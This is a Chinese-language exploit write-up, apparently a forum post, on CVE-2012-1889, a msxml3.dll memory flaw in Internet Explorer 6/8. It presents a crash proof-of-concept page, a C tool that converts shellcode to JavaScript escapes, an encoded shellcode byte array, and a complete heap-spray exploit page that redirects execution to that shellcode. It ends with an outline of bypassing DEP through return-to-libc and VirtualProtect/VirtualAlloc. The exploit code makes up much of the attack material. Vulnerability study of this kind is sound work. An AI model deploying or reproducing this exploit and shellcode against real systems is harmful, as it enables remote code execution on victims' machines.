软件名称 :IE 浏览器
软件版本 :6.0/8.0
漏洞模块 :msxml3.dll
模块版本 :2.0.0.0
编译日期 :2008-04-14
操作系统 :Windows XP/2003/7
漏洞编号 :CVE-2012-1889
危害等级 :高危
漏洞类型 :缓冲区溢出
威胁类型 :远程
2020 年11 月23 日
小白分析,如有错误,感谢指出~
Microsoft XML Core Services (MSXML) 是一组服务,可用JScript 、VBScript 、Microsoft 开发工具编写的应用构建基于XML 的Windows-native 应用。
Microsoft XML Core Services 3.0 、4.0 、5.0 和6.0 版本中存在漏洞,该漏洞源于访问未初始化内存位置。远程攻击者可利用该漏洞借助特制的web 站点,执行任意代码或导致拒绝服务(内存破坏)。
该漏洞产生于msxml3.dll 模块中,msxml3.dll 是微软的一个SAX2 帮助程序类。主要用途包括:XSL 转换 (XSLT) 和 XML 路径语言 (XPath) 的完全实现、对 XML (SAX2) 实现的简单 API 的修改,包括与万维网联合会 (W3C) 标准和 OASIS 测试套件保持更高一致性。
使用windbg 附加IE 浏览器,使用IE 浏览器运以下palyload 文件,触发漏洞:
<html>
<head>
<title> CVE 2012-1889 PoC </title>
</head>
<body>
//"clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" 是 MSXML3.dll 中使用到的 ID
<object classid = "clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id = 'poc' ></object>
<script>
var obj = document.getElementById( 'poc' ).object; // 获取 obj 对象,类 id 为 "msxml3" ,对象 id 为 "poc"
var src = unescape( "%u0c0c%u0c0c" ); //0c0c
while (src.length < 0x1002 ) src += src; // 循环拼接路径
src = "\\\\xxx" + src;
src = src.substr( 0 , 0x1000 - 10 );
var pic = document.createElement( "img" ); // 创建图片元素 pic
pic.src = src; // 图片元素 pic 的路径赋值,路径是 0x990 字节的 0c0c0c0c ,将会溢出栈空间
pic.nameProp;
obj.definition( 0 ); // 定义并初始化一个空的对象
</script>
</body>
</html>
程序崩溃,断下来了。分析现场:ecx应该是一个对象,此处这个对象的值来自ebp-14h的值,ecx+18h应该是虚函数
环境:vmware 虚拟机winXP 系统,IE 浏览器6.0 版本
根据2.1 中的图片2 ,我们可以得知以下信息:
①eax 已经被填充为0c0c0c0c
②ecx = 0c0c0c0c 地址的内容
③call [ecx +24]
④那么如果把 0c0c0c0c 地址的内容设置为 0c0c0c0c ,那么最终call 的内容就是[0c0c0c0c+24]
⑤此时如果把0c0c0c0c+24 地址的内容设置为我们的shellcode 地址,那就可以完成我们的shellcode 调用了。也就是说:[0c0c0c0c+24]=shellcode 地址
通过堆喷射的方法,将0c0c0c0c 地址的内容填充为0c0c0c0c
堆喷射: 底层原理在于javascript 中所有的字符串通过堆保存,并且堆空间的增长是从低地址到高地址方向进行的,如果使用堆空间保存字符串数组,并且在该字符串数组中保存字符串,就会导致字符串在堆中从低地址到高地址依次占据内存空间,当该字符串足够长时,就会超出堆空间预先设定的大小,淹没更高地址的堆空间,造成堆溢出。实际应用中,经常通过构造长度为200MB 的字符串并保存在堆中,从而淹没0x0C0C0C0C 地址处的内存空间(200MB 字节经换算等于0x0C80000 字节,超过0x0C0C0C0C) 。
但是我们并不能精准的找到0c0c0c0c 这个地址,并将0c0c0c0c+24 的位置设置为shellcode ,前面只是通过堆喷射的方式设置0c0c0c0c 地址的内容为0c0c0c0c 。虽然我们不能精准的设置0c0c0c0c+24 的地址为shellcode ,但是此时0c0c0c0c 地址的内容已经被④填充为0c0c0c0c 了,如果执行0c0c0c0c+24 这个地址,执行的指令是or al ,这是无关紧要的指令,如果我们在堆喷射的末尾追加shellcode ,那么程序就会执行大量无关紧要的or al 指令之后,执行我们的shellcode 。所以or al(0c0c) 也称为滑板指令,其作用与指令nop 相同。(之所以不使用nop 作为本次攻击的滑板指令是因为nop 指令对应的十六进制数据为0x90 ,如果将其作为堆喷射的内容,就需要将0x90 数据淹没内存地址0x90909090 ,淹没该地址的需要申请更多的堆空间内存,所以不使用该方案)。
在javascript 中因为多次申请的堆空间可能是不连续的(与系统使用链表管理堆空间有关),所以喷射形成的数据块之间可能存在其他程序仍未释放的堆空间,如果仅仅喷射滑板指令并在尾部加上payload ,可能会导致cpu 执行指令时将其他程序在堆空间中的数据当作代码执行,所以需要分块喷射,每个数据块由滑板指令和payload 组成,一次申请一个数据块大小的堆空间(单次申请的堆在虚拟内存中一定是连续的),只要命中了一个数据块中的滑板指令,就可以将指令的执行顺序引导到payload 中。( 如果命中数据块中payload 的中间部分,会导致程序执行错误,但是此中情况概率较小,如果发生可以通过修改数据块大小解决) 。
C 语言版本shellcode 转成JavaScript 版本shellcode
#include <stdio.h>
#include <Windows.h>
// 此函数最短可转码 2 字节文件
void C_2_JavaScript( unsigned char * bData , int nSize ){
// 1. 创建文件
FILE *fpJS = nullptr ;
errno_t errRet = fopen_s(&fpJS, "JavaScript.txt" , "w" );
// 2. 循环转码并写入目标文件 ( 需考虑位数为奇数的情况 )
for ( int i = 0; i < nSize ; i += 2){
if (i + 2 == nSize + 1) // 注意小尾存储
fprintf(fpJS, "\\u%02X%02X" , 0, bData [i]);
else
fprintf(fpJS, "\\u%02X%02X" , bData [i + 1], bData [i]);
}
fclose(fpJS);
return ;
}
unsigned char szshellcode[] = "\x90\x90\x90\x90\x90\x90\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9\x2F\x01\x8A\x04\x0E\x34\x07\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x07\xFF\xE6\x84\xEB\x57\xEC\x41\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63\x75\x62\x74\x74\x07\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E\x42\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A\x62\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x62\x7F\x6E\x73\x07\x4F\x62\x6B\x6B\x68\x27\x6F\x66\x6F\x66\x6F\x07\xEF\x07\x07\x07\x07\x5C\x63\x8C\x32\x37\x07\x07\x07\x39\x8C\x71\x0B\x39\x8C\x71\x1B\x39\x8C\x31\x39\x8C\x51\x0F\x54\x55\xEF\x15\x07\x07\x07\x8C\xF7\x8A\x4C\xC3\x56\x55\xF8\xD7\x54\x51\x57\x55\xEF\x6E\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F\x8C\x75\x3B\x04\xF5\x8C\x71\x7F\x04\xF5\x8C\x79\x1B\x04\xFD\x8E\x7A\xFB\x8C\x79\x27\x04\xFD\x8E\x7A\xFF\x8C\x79\x23\x04\xFD\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C\x33\x81\x8C\x52\x0F\x8A\x33\x11\x8C\x5A\x0B\x8A\x7C\xB2\xBE\x09\x07\x07\x07\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B\x41\x8C\x52\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x11\x5D\x8C\xE2\x5A\xC5\x0F\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xD4\x34\xF8\x50\x50\x56\xF8\x52\x0B\x8A\x4C\xD9\x56\x57\xF8\x52\x17\x8E\x42\xFB\x8A\x4C\xED\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF\x8A\x4C\xE8\x34\xF8\x50\x56\x56\x50\xF8\x52\xFB\x34\xF8\x50\xF8\x52\xFF\x8C\xE2\x5A\xC5\x17\x07\x07\x00" ;
int main() {
C_2_JavaScript(szshellcode, sizeof (szshellcode));
return 0;
}
得到Unicode 版本的shellcode ,修改poc
<html>
<head>
<title> CVE 2012-1889 POC Red_Magic_ver.7 </title>
</head>
<body>
<!-- object 标签用于创建一个对象,可能是视频,音频等, -->
<!-- 创建对象 clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4 即为微软 XML 服务 3.0-->
<object classid = "clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id = '15PB' ></object>
<script>
// 需要执行的 shellcode
var cShellCode = unescape( "\u9090\u9090\u9090\uC033\uFFE8\uFFFF\uC3FF\u8D58\u1B70\uC933\uB966\u012F\u048A\u340E\u8807\u0E04\uF6E2\u3480\u070E\uE6FF\uEB84\uEC57\u4041\u7362\u7557\u6468\u6346\u7563\u7462\u0774\u684B\u6366\u6E4B\u7565\u7566\u427E\u467F\u5207\u6274\u3475\u2935\u6B63\u076B\u624A\u7474\u6066\u4562\u7F68\u0746\u7F62\u736E\u4F07\u6B62\u686B\u6F27\u6F66\u6F66\uEF07\u0707\u0707\u635C\u328C\u0737\u0707\u8C39\u0B71\u8C39\u1B71\u8C39\u3931\u518C\u540F\uEF55\u0715\u0707\uF78C\u4C8A\u56C3\uF855\u54D7\u5751\uEF55\u076E\u0707\u8C52\u84EB\u0BEB\u8C55\u0F52\u758C\u043B\u8CF5\u7F71\uF504\u798C\u041B\u8EFD\uFB7A\u798C\u0427\u8EFD\uFF7A\u798C\u0423\u8EFD\uF37A\uC734\u06EC\u8C47\uFF72\u338C\u8C81\u0F52\u338A\u8C11\u0B5A\u7C8A\uBEB2\u0709\u0707\uF4FB\u72A1\u8CE4\uF372\uF834\u8C61\u413B\u528C\u8CFB\uBD33\u528C\u8A0F\u1103\u8C5D\u5AE2\u0FC5\u5207\uEB8C\uEB84\u8C0F\u135A\u4C8A\u34D4\u50F8\u5650\u52F8\u8A0B\uD94C\u5756\u52F8\u8E17\uFB42\u4C8A\u56ED\u72F8\uF80F\u1752\u428E\u8AFF\uE84C\uF834\u5650\u5056\u52F8\u34FB\u50F8\u52F8\u8CFF\u5AE2\u17C5\u0707" );
// 计算一个数据块(大小 1MB )中滑板指令的长度
// 除以 2 是因为 length 返回的是 Unicode 字符的个数,一个 Unicode 的字符个数是 2
var nSlideSize = 1024 * 1024 / 2 ; // 一个滑板指令区的大小( 1MB )
var nMlcHadSize = 32 / 2 ; // 堆头部大小
var nStrLenSize = 4 / 2 ; // 堆长度信息大小
var nTerminatorSize = 2 / 2 ; // 堆结尾符号大小
var nScSize = cShellCode.length; // shellcode 大小
var nFillSize = nSlideSize - nMlcHadSize - nStrLenSize - nScSize - nTerminatorSize;
// 制作一块滑板指令
var cFillData = unescape( "\u0C0C\u0C0C" ); // 滑板指令 0C0C OR AL,0C0C
while (cFillData.length <= nSlideSize)
cFillData += cFillData; // 通过循环拼接,得到一个 1MB 大小的 0c 字符串
cFillData = cFillData.substring( 0 , nFillSize); // 截取指定长度的滑板指令,只保留 nFillSize 个字符个数的滑板指令长度
// 堆喷射,填充 200 个 1M 的堆空间,使 0x0c0c0c0c 地址被淹没,当在该地址处执行代码时,
// 大概率先执行滑板指令然后执行 shellcode(1M 为 1700 万字节, 0c 有 1700 万字节,而 shellcode 只有一两百字节 )
var cSlideData = new Array(); // 申请堆空间
for ( var i = 0 ; i < 200 ; ++i)
{
cSlideData[i] = cFillData + cShellCode; // 将滑板指令与 shellcode 拼接,得到 1MB 数据块,将会填充堆空间 (javascript 中的字符串保存在堆 )
}
// 触发 CVE 2012-1889 漏洞,使 eip 被修改为 0x0c0c0c0c
var obj15PB = document.getElementById( '15PB' ).object
var srclmgPath = unescape( "\u0C0C\u0C0C" );
while (srclmgPath.length < 0x1000 )
srclmgPath += srclmgPath;
srclmgPath = "\\\\15PB" + srclmgPath;
srclmgPath = srclmgPath.substr( 0 , 0x1000 - 10 );
var emtPic = document.createElement( "img" );
emtPic.src = srclmgPath;
emtPic.nameProp;
obj15PB.definition( 0 );
</script>
</body>
</html>
WindowsXP IE8+ 的版本提供了数据执行保护(DEP ),因此,只要是可写的区域,都不可执行了。这样一来。漏洞利用就比较困难了
DEP 的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时 CPU 就会抛出异常,而不是去执行恶意指令。
DEP 的实现分为两种,一种为软件实现,是由各个操作系统 编译过程中引入的,在微软中叫SafeSEH 。 另一种为硬件实现,由英特尔这种CPU 硬件生产厂商固化到硬件中的,也称作NX 保护机制。 由于DEP 的存在,导致之前在堆空间0x0C0C0C0C 地址上执行指令的操作无法实现,如果需要实现漏洞利用,需要需要设法绕过DEP 机制。
Ret2Libc 是Return-to-libc 简写。
在 DEP 保护下利用失败的根本原因是 DEP 检测到程序转到非可执行页执行指令了。由于 DEP 不允许我们直接到非可执行页( 堆空间或者栈空间) 执行指令,我们就需要在其他可执行的位置 找到符合我们要求的指令,让这条指令来替我们工作,为了能够控制程序流程,在这条指令执行后,我们还需要一个返回指令,以便收回程序的控制权,然后继续下一步操作。其他可执行的位置: 可以在系统的dll 中寻找我们需要的指令。总而言之,只要为 shellcode 中的每条指令都在代码区找到一条替代指令,就可以完成 exploit 想要的功能了
方法①:通过上面的方法调用 ZwSetInformationProcess 函数将 DEP 关闭后再转入 shellcode 执行
方法②:通过跳转到 VirtualProtect 函数来将 shellcode 所在内存页设置为可执行状态,然后再转入 shellcode 执行
方法③:通过跳转到 VIrtualAlloc 函数开辟一段具有执行权限的内存空间,然后将 shellcode 复制到这段内存中执行
此处运用方法③:
通过3.3.2 ,我们有了绕过DEP 的思路,接下来要考虑如何实现它,结合3.3.2 以及下图:
我们的目的是要执行Ret2Libc 链,那么就要控制 call dword ptr [ecx+18h] 这条指令将会执行到Ret2Libc 链的第一条指令,如果能实现的话,那么就可以执行VirtualProtect 函数修改属性。但是仅仅执行VirtualProtect 函数还不行,因为此时栈中的数据不是我们构造的,调用VirtualProtect 函数的时候,参数和返回地址都是不可控的。因此,在执行VirtualProtect 函数之前,还需要将栈的数据设置为我们可控的数。那么我们就可以在执行VirtualProtect 函数之前先执行一条指令:XCHG EAX,ESP ,执行完之后栈将会被修改成我们的堆空间,因为eax 就是被覆盖后得到的0c0c0c0c ,而0c0c0c0c 地址的内容我们是可以通过堆喷射进行控制的。
我们尝试使用XCHG EAX,ESP 指令,将栈改为我们可控的栈:
①将0c0c0c0c+18h 地址的内容设置为XCHG EAX,ESP RET 的系统地址
②将0c0c0c0c+18h+4 地址的内容设置为VirtualProtect 函数地址
③将0c0c0c0c+18h+4+4 地址的内容设置为palyload 代码的地址
④将0c0c0c0c+18h+4+4~0c0c0c0c+18h+4+16 地址的内容设置为VirtualProtect 函数的参数
但是发现如果按照这样写的话,还是会触发DEP :
因此,call [eax+18] 这个call 目前来说,利用起来比较困难,观察源码,发现下面还有一个call :call [eax+8] ,而eax 的值来自esi ,esi 的值来自[ebp-14h] ,也就是说间接来自栈,经过精心构造,可以实现绕过DEP :需要把栈的溢出点溢出为0c0c0c08
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2020-11-29 12:48
被三一米田编辑
,原因: